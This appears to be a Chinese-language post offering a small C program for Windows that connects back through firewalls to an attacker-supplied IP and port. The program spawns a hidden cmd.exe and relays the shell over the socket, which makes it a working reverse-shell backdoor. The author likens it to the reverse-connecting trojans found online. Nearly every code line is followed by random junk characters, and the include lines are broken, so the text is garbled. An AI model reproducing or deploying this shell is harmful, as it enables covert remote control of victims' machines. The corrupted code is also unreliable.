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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 tQ&#FFt,)  
@XIwp2A{+  
/* ============================== '.kbXw0}  
Rebound port in Windows NT *;gi52tM  
By wind,2006/7 nAts.pVy"  
===============================*/ V|a 59 [y?  
#include 9h0|^ttF  
#include > %Y#(_~a  
nQ~q -=,L  
#pragma comment(lib,"wsock32.lib") ;F0A\5I  
.FMF0r>l  
void OutputShell(); D1g1"^~g  
SOCKET sClient; uo%O\} #u9  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \pPq ]k  
T2(+HI2  
void main(int argc,char **argv) ^9{ 2  
{ KPO((G0&  
WSADATA stWsaData; lJYv2EZ  
int nRet; QM_~w \  
SOCKADDR_IN stSaiClient,stSaiServer; H+ M ~|Ju7  
Ppp&3h[dW)  
if(argc != 3) &Y#9~$V=  
{ QiRzA4-zq  
printf("Useage:\n\rRebound DestIP DestPort\n"); 9QX{b+}"e  
return; D 3HB`{  
} 3=K-+dhk|t  
Ys3C'Gc  
WSAStartup(MAKEWORD(2,2),&stWsaData); G: &Q)_  
l{pF^?K  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4PF4#  
<s{/ka3  
stSaiClient.sin_family = AF_INET; #{ ?oUg>$  
stSaiClient.sin_port = htons(0); _|Dt6  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !EW]: u  
?PQiVL  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0y ;gi3W  
{ c`jTdVD  
printf("Bind Socket Failed!\n"); m76]INq  
return; g,W#3b6>j  
} :- 5Mn3*  
d8r+UP@#  
stSaiServer.sin_family = AF_INET; b QeYFY#^  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0yZw`|Zh[  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 34l=U?  
D@ lJ^+  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z"H%Y 8  
{ $fn^i.  
printf("Connect Error!"); 4C[gW  
return; d)AkA\neWo  
} a* D|$<V  
OutputShell(); \C6m.%%={R  
} EPg?jKZava  
e,4G:V'NX  
void OutputShell() F3f>pK5  
{ xAO ]u[J  
char szBuff[1024]; h7w<.zwu t  
SECURITY_ATTRIBUTES stSecurityAttributes; U!`'Qw;  
OSVERSIONINFO stOsversionInfo; * K7L5.  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; q>X:z0H  
STARTUPINFO stStartupInfo; \ lKQ'_  
char *szShell; <;T7q EIlo  
PROCESS_INFORMATION stProcessInformation; @kK=|(OB'  
unsigned long lBytesRead; JjCf<ktE.  
*w6N&  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); PDsLJ|:yL  
N1-LM9S  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); A y`a>:p  
stSecurityAttributes.lpSecurityDescriptor = 0; <w A_2S Y  
stSecurityAttributes.bInheritHandle = TRUE; Jzj~uz  
2#[Y/p  
N?Z?g_a8  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !6%mt}h  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %In"Kh*  
u`~{:V  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); GhT7:_r~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; th<]L<BP/  
stStartupInfo.wShowWindow = SW_HIDE; CNz[@6-cYU  
stStartupInfo.hStdInput = hReadPipe; zhe5i;M  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -I*A  `M  
kr/h^e  
GetVersionEx(&stOsversionInfo); loB/w{r*x  
WI9.?(5q  
switch(stOsversionInfo.dwPlatformId) 7lpVK]  
{ X>4`{x`  
case 1: 9..k/cH  
szShell = "command.com"; a]k&$  
break; Z8@]e}n  
default: u0e#iX  
szShell = "cmd.exe"; Rb0{t[IU  
break; LKZI@i)  
} }X?*o `sW  
aVb]H0  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *l^'v9  
d7P @_jO6  
send(sClient,szMsg,77,0); pSP_cYa#(#  
while(1) KWUz]>Z  
{ 0_EF7`T  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *X #e  
if(lBytesRead) ^m=%Ctu#  
{ >KPJ74R  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]4yvTP3[Rm  
send(sClient,szBuff,lBytesRead,0); X3nhqQTZ  
} SMFW]I2T/  
else 5HN<*u%z  
{ a< EC]-nw  
lBytesRead=recv(sClient,szBuff,1024,0); Uu+C<j&-  
if(lBytesRead<=0) break; M&FuXG%  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |gz ,Ip{  
} EHHxCq?  
} H^g<`XEgw  
C] w< &o  
return; 1sjn_fPz  
}
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